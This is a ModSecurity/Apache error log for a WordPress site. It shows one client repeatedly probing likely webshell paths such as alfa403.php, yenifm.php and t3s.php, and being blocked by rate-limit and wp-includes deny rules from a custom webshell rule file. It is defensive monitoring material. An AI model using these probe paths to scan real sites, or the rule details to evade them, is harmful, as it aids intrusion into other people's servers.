[Tue May 19 01:57:04.901320 2026] [:error] [pid 36579:tid 36603] [client 4.228.184.113:16694] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa403.php"] [unique_id "agtS8F-aoZxBfgL5vDy1LQAAAFU"]
[Tue May 19 01:57:06.065982 2026] [:error] [pid 36491:tid 36517] [client 4.228.184.113:26861] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa403.php"] [unique_id "agtS8k555B9CZb6D60n81wAAAVY"]
[Tue May 19 01:57:07.515723 2026] [:error] [pid 36491:tid 36519] [client 4.228.184.113:32177] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa403.php"] [unique_id "agtS80555B9CZb6D60n82QAAAVg"]
[Tue May 19 01:57:09.063216 2026] [:error] [pid 36579:tid 36601] [client 4.228.184.113:26840] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa403.php"] [unique_id "agtS9V-aoZxBfgL5vDy1MgAAAFM"]
[Tue May 19 01:57:10.267966 2026] [:error] [pid 44087:tid 44103] [client 4.228.184.113:16640] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yenifm.php"] [unique_id "agtS9m5HPHbH9GK7l6wOlwAAAc4"]
[Tue May 19 01:57:11.172798 2026] [:error] [pid 36492:tid 36526] [client 4.228.184.113:13367] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yenifm.php"] [unique_id "agtS92CVlogrkn9m2w4pLwAAAAQ"]
[Tue May 19 01:57:11.935300 2026] [:error] [pid 36579:tid 36606] [client 4.228.184.113:38219] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yenifm.php"] [unique_id "agtS91-aoZxBfgL5vDy1NgAAAFg"]
[Tue May 19 01:57:14.050764 2026] [:error] [pid 44010:tid 44018] [client 4.228.184.113:13833] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yenifm.php"] [unique_id "agtS-jcFUuogD3-74-aNgQAAAMY"]
[Tue May 19 01:57:16.608488 2026] [:error] [pid 36491:tid 36500] [client 4.228.184.113:21655] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test11.php"] [unique_id "agtS_E555B9CZb6D60n85wAAAUU"]
[Tue May 19 01:57:17.970259 2026] [:error] [pid 36492:tid 36536] [client 4.228.184.113:63557] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test11.php"] [unique_id "agtS_WCVlogrkn9m2w4pTwAAAA4"]
[Tue May 19 01:57:21.115311 2026] [:error] [pid 36492:tid 36538] [client 4.228.184.113:11483] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test11.php"] [unique_id "agtTAWCVlogrkn9m2w4pbAAAABA"]
[Tue May 19 01:57:23.338581 2026] [:error] [pid 36579:tid 36582] [client 4.228.184.113:59365] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test11.php"] [unique_id "agtTA1-aoZxBfgL5vDy1RAAAAEA"]
[Tue May 19 01:57:43.591614 2026] [:error] [pid 36492:tid 36545] [client 4.228.184.113:63592] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unvouc.php"] [unique_id "agtTF2CVlogrkn9m2w4pkAAAABc"]
[Tue May 19 01:57:44.488699 2026] [:error] [pid 44087:tid 44091] [client 4.228.184.113:50628] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unvouc.php"] [unique_id "agtTGG5HPHbH9GK7l6wOsQAAAcI"]
[Tue May 19 01:57:46.028446 2026] [:error] [pid 36491:tid 36496] [client 4.228.184.113:23813] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unvouc.php"] [unique_id "agtTGk555B9CZb6D60n9FgAAAUE"]
[Tue May 19 01:57:48.178048 2026] [:error] [pid 36491:tid 36502] [client 4.228.184.113:50674] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unvouc.php"] [unique_id "agtTHE555B9CZb6D60n9HwAAAUc"]
[Tue May 19 01:57:49.251414 2026] [:error] [pid 36493:tid 36565] [client 4.228.184.113:16661] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "agtTHQynkzQB5nM668rksQAAARA"]
[Tue May 19 01:57:50.148158 2026] [:error] [pid 36493:tid 36558] [client 4.228.184.113:21653] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "agtTHgynkzQB5nM668rktQAAAQk"]
[Tue May 19 01:57:50.955103 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:60172] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "agtTHk555B9CZb6D60n9JwAAAU0"]
[Tue May 19 01:57:51.911885 2026] [:error] [pid 36491:tid 36495] [client 4.228.184.113:50629] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "agtTH0555B9CZb6D60n9KQAAAUA"]
[Tue May 19 01:57:52.849612 2026] [:error] [pid 44046:tid 44065] [client 4.228.184.113:59351] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtTIIYF4k2jfXJBXk0RSAAAAZE"]
[Tue May 19 01:57:54.516723 2026] [:error] [pid 36579:tid 36587] [client 4.228.184.113:23097] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtTIl-aoZxBfgL5vDy1VwAAAEU"]
[Tue May 19 01:57:55.362651 2026] [:error] [pid 44046:tid 44069] [client 4.228.184.113:50652] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtTI4YF4k2jfXJBXk0RSgAAAZU"]
[Tue May 19 01:57:56.696757 2026] [:error] [pid 36579:tid 36589] [client 4.228.184.113:13885] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "agtTJF-aoZxBfgL5vDy1XAAAAEc"]
[Tue May 19 01:57:57.672660 2026] [:error] [pid 44087:tid 44097] [client 4.228.184.113:23072] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTJW5HPHbH9GK7l6wOtAAAAcg"]
[Tue May 19 01:57:59.145819 2026] [:error] [pid 36579:tid 36602] [client 4.228.184.113:13849] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTJ1-aoZxBfgL5vDy1XgAAAFQ"]
[Tue May 19 01:58:00.236115 2026] [:error] [pid 44046:tid 44061] [client 4.228.184.113:15589] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTKIYF4k2jfXJBXk0RTgAAAY0"]
[Tue May 19 01:58:01.442361 2026] [:error] [pid 44046:tid 44057] [client 4.228.184.113:13884] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTKYYF4k2jfXJBXk0RUAAAAYk"]
[Tue May 19 01:58:02.414755 2026] [:error] [pid 44010:tid 44029] [client 4.228.184.113:23057] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "agtTKjcFUuogD3-74-aNjwAAANE"]
[Tue May 19 01:58:03.617438 2026] [:error] [pid 44087:tid 44111] [client 4.228.184.113:23061] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "agtTK25HPHbH9GK7l6wOtgAAAdY"]
[Tue May 19 01:58:04.719185 2026] [:error] [pid 44087:tid 44095] [client 4.228.184.113:21674] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "agtTLG5HPHbH9GK7l6wOuAAAAcY"]
[Tue May 19 01:58:05.816335 2026] [:error] [pid 44010:tid 44017] [client 4.228.184.113:56595] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links.php"] [unique_id "agtTLTcFUuogD3-74-aNkAAAAMU"]
[Tue May 19 01:58:06.683103 2026] [:error] [pid 36491:tid 36505] [client 4.228.184.113:23066] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "agtTLk555B9CZb6D60n9NgAAAUo"]
[Tue May 19 01:58:07.618365 2026] [:error] [pid 36491:tid 36495] [client 4.228.184.113:33930] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "agtTL0555B9CZb6D60n9OAAAAUA"]
[Tue May 19 01:58:09.062460 2026] [:error] [pid 36493:tid 36567] [client 4.228.184.113:13342] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "agtTMQynkzQB5nM668rkvgAAARI"]
[Tue May 19 01:58:10.051852 2026] [:error] [pid 36491:tid 36516] [client 4.228.184.113:38209] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "agtTMk555B9CZb6D60n9PAAAAVU"]
[Tue May 19 01:58:11.516773 2026] [:error] [pid 44046:tid 44051] [client 4.228.184.113:13321] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "agtTM4YF4k2jfXJBXk0RWAAAAYM"]
[Tue May 19 01:58:12.432940 2026] [:error] [pid 44087:tid 44102] [client 4.228.184.113:63590] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "agtTNG5HPHbH9GK7l6wOvAAAAc0"]
[Tue May 19 01:58:13.554529 2026] [:error] [pid 36491:tid 36517] [client 4.228.184.113:59386] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "agtTNU555B9CZb6D60n9RgAAAVY"]
[Tue May 19 01:58:14.917468 2026] [:error] [pid 43916:tid 43945] [client 4.228.184.113:13882] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "agtTNtQC236p33zJJvneVQAAAJU"]
[Tue May 19 01:58:24.804517 2026] [:error] [pid 36491:tid 36497] [client 4.228.184.113:56597] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/half.php"] [unique_id "agtTQE555B9CZb6D60n9TAAAAUI"]
[Tue May 19 01:58:57.266945 2026] [:error] [pid 36493:tid 36560] [client 4.228.184.113:4341] [client 4.228.184.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "agtTYQynkzQB5nM668rk4wAAAQs"]
[Tue May 19 01:59:03.343723 2026] [:error] [pid 44010:tid 44036] [client 4.228.184.113:55368] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t3s.php"] [unique_id "agtTZzcFUuogD3-74-aNnQAAANg"]
[Tue May 19 01:59:04.640764 2026] [:error] [pid 36492:tid 36526] [client 4.228.184.113:10893] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t3s.php"] [unique_id "agtTaGCVlogrkn9m2w4pvQAAAAQ"]
[Tue May 19 01:59:07.343905 2026] [:error] [pid 36492:tid 36538] [client 4.228.184.113:10747] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t3s.php"] [unique_id "agtTa2CVlogrkn9m2w4pwQAAABA"]
[Tue May 19 01:59:08.337287 2026] [:error] [pid 36491:tid 36501] [client 4.228.184.113:57817] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t3s.php"] [unique_id "agtTbE555B9CZb6D60n9dgAAAUY"]
[Tue May 19 01:59:09.870315 2026] [:error] [pid 36493:tid 36567] [client 4.228.184.113:62687] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "agtTbQynkzQB5nM668rk6gAAARI"]
[Tue May 19 01:59:10.855527 2026] [:error] [pid 36579:tid 36588] [client 4.228.184.113:21496] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "agtTbl-aoZxBfgL5vDy1mgAAAEY"]
[Tue May 19 01:59:11.736797 2026] [:error] [pid 44046:tid 44060] [client 4.228.184.113:28905] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "agtTb4YF4k2jfXJBXk0RZQAAAYw"]
[Tue May 19 01:59:12.706490 2026] [:error] [pid 44046:tid 44064] [client 4.228.184.113:49321] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "agtTcIYF4k2jfXJBXk0RZwAAAZA"]
[Tue May 19 01:59:13.733306 2026] [:error] [pid 36491:tid 36509] [client 4.228.184.113:55384] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "agtTcU555B9CZb6D60n9egAAAU4"]
[Tue May 19 01:59:15.323674 2026] [:error] [pid 36492:tid 36531] [client 4.228.184.113:64174] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "agtTc2CVlogrkn9m2w4pzgAAAAk"]
[Tue May 19 01:59:16.181595 2026] [:error] [pid 36492:tid 36535] [client 4.228.184.113:40804] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "agtTdGCVlogrkn9m2w4p0AAAAA0"]
[Tue May 19 01:59:17.816595 2026] [:error] [pid 44010:tid 44031] [client 4.228.184.113:22127] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "agtTdTcFUuogD3-74-aNpQAAANM"]
[Tue May 19 01:59:18.702132 2026] [:error] [pid 36491:tid 36502] [client 4.228.184.113:28865] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtTdk555B9CZb6D60n9gAAAAUc"]
[Tue May 19 01:59:19.601747 2026] [:error] [pid 36491:tid 36517] [client 4.228.184.113:48295] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtTd0555B9CZb6D60n9ggAAAVY"]
[Tue May 19 01:59:20.538147 2026] [:error] [pid 36491:tid 36495] [client 4.228.184.113:21473] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtTeE555B9CZb6D60n9hAAAAUA"]
